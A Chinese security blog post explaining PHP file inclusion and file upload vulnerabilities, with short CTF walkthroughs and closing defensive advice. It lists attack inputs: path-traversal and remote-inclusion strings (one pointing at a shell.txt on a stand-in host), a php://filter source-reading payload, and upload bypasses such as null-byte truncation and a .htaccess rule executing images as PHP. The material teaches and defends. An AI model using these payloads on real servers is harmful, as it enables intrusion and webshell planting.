文件包含&&文件上传

点击阅读

0x01 文件包含

  • 本地文件包含(Loacl File Inclusion,LFI)

通过浏览器引进(包含)web服务器上的文件,这种漏洞是因为浏览器包含文件时没有进行严格 的过滤允许遍历目录的字符注入浏览器并执行

  • 远程文件包含(Remote File Inclusion,RFI)

该漏洞允许攻击者包含一个远程的文件,一般是在远程服务器上预先设置好的脚本。 此漏洞是因为浏览器对用户的输入没有进行检查,导致不同程度的信息泄露、拒绝服务攻击 甚至在目标服务器上执行代码

  • 条件:
    • php.ini中配置项:
    • allow_ url_fopen ON
    • allow_ url_include ON
  • 本地包含:

    • ?file=flag.txt
    • ?file=../../../../../../../../../var/lib/locate.db
    • ?file=../../../../../../../../../usr/local/apache2/conf/httpd
  • 远程文件包含:

    • ?file=[http|https|ftp]://example.com/shell.txt
    • (需要allow_url_fopen=On并且 allow_url_include=On)
  • PHP中常见的文件包含函数

    • include():当使用该函数包含文件时,只有代码执行到include()函数是才将文件包含进来,发生错误时只给出一个警告,继续向下执行
      • include_once():功能和include()相同,区别在于当重复调用同意文件时,程序只调用一次
      • requier(): 使用require函数包含文件时,只要程序一执行,立即调用脚本;如果前者执行发生错误,函数或输出错误信息,并终止脚本运行
      • require_once():功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次
  • jsp/Servlet

    • ava.io.file() , java.io.filereader() ….
  • asp

    • include file , include virtual
  • 漏洞利用及危害

    • 上传图片,包含图片Getshell
    • 读文件,读PHP文件
    • 包含日志文件GetShell
    • 包含/proc/self/environ文件GetShell
    • 如果有phpinfo可以包含临时文件
    • 包含data:// 或者 php://input 等协议(需要allow_url_include=on)
    • 执行任意脚本代码
    • 控制网站
    • 控制服务器
  • php://filter是PHP语言中特有的协议流,作用是作为一个“中间流”来处理其他流。

题目分析

6.jpg

click之后是一个test,url变为

http://4.chinalover.sinaapp.com/web7/index.php?file=show.php

这里可以通过PHP内置协议直接读取index的代码

?file=php://filter/read=convert.base64-encode/resource=index.php

页面是index.php的base64加密后的代码,解密即可

5.jpg

0x02 文件上传

文件上传漏洞就是利用可以上传的地方将恶意代码植入到服务器中,再通过url去访问以执行代码

  • 原因

    • 对于上传文件的后缀名(扩展名)没有做较为严格的限制

    • 对于上传文件的MIMETYPE 没有做检查

    • 权限上没有对于上传的文件的文件权限,(尤其是对于shebang类型的文件)

    • 对于web server对于上传文件或者指定目录的行为没有做限制

注:

  1. MIMETYPE即媒体类型,通过Content-Type来表示。
  2. 代替magic number做文本文件的metadata的,一是扩展名,一是shebang
  3. magic number:很多类型的文件,其起始的几个字节的内容是固定的(或是有意填充,或是本就如此)。因此这几个字节的内容也被称为魔数 (magic number),因为根据这几个字节的内容就可以确定文件类型。
  4. metadata即元数据:描述数据的数据,对数据及信息资源的描述性信息。

感觉较好的博文:

典型漏洞归纳之上传漏洞 - sm0nk - 博客园

文件上传漏洞及解析漏洞总结-罹殇-51CTO博客

以下七点内容源自文件上传漏洞的一些总结 - 珍惜少年时 - 博客园

  1. MIME类型绕过:
    上传木马时,提示格式错误。直接抓包修改Content-Type 为正确的格式尝试绕过

  2. 文件扩展名绕过:
    Php除了可以解析php后缀 还可以解析php2.php3,php4 后缀

  3. 文件内容检测绕过:
    抓包,在正常图片末尾添加一句话木马

  4. 00截断绕过上传
    1.php .jpg 空格二进制20改为00
    IIS 6.0 目录路径检测解析绕过
    上传路径改为
    XXX/1.asp/

  5. IIS6.0 解析缺陷漏洞绕过
    上传路径出修改
    XXX/1.php;
    Apache 解析缺陷绕过上传漏洞
    修改后缀名
    122.php.7zz(7zz不能识别的后缀名)

  6. htaccess解析漏洞:
    上传的jpg文件都会以php格式解析
    .htaccess内容:
    AddType application/x-httpd-php .jpg

  7. fck编辑器版本识别及信息收集
    版本地址(2.2.4/2.2.6)
    _samples/default.html
    _whatsnew.html
    Fck2.2.4 上传地址:
    editor/filemanager/browser/default/comectors/test.htm
    editor/filemanager/upload/test.html
    V2.2.6
    editor/filemanager/connectors/test.html
    ............................................../uploadtest.html

fck编辑器解析漏洞
/1.asp/下创建文件夹2.asp (2.asp会被转成2_asp)

一个南邮的CTF题—上传绕过

8.jpg

上传图片并抓包,尝试各种拓展名修改,00截断等,无果,试了下uploads,修改下dir ,随便改为/uploads/002.php

reponse中filename为除拓展名的部分,basename即为最终文件名,最终为022.php011.png,和filename部分拼到一起了

10.jpg

测试了下在filename前加一个00截断,然而行不通,那就可以在022.php后加一个00截断

9.jpg

防范:

  • 文件扩展名服务端白名单校验。
  • 文件内容服务端校验。
  • 上传文件重命名。
  • 隐藏上传文件路径

白名单是最有保障的安全措施

文章作者: J0k3r
文章链接: http://j0k3r.top/2018/01/30/file-upload/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 J0k3r's Blog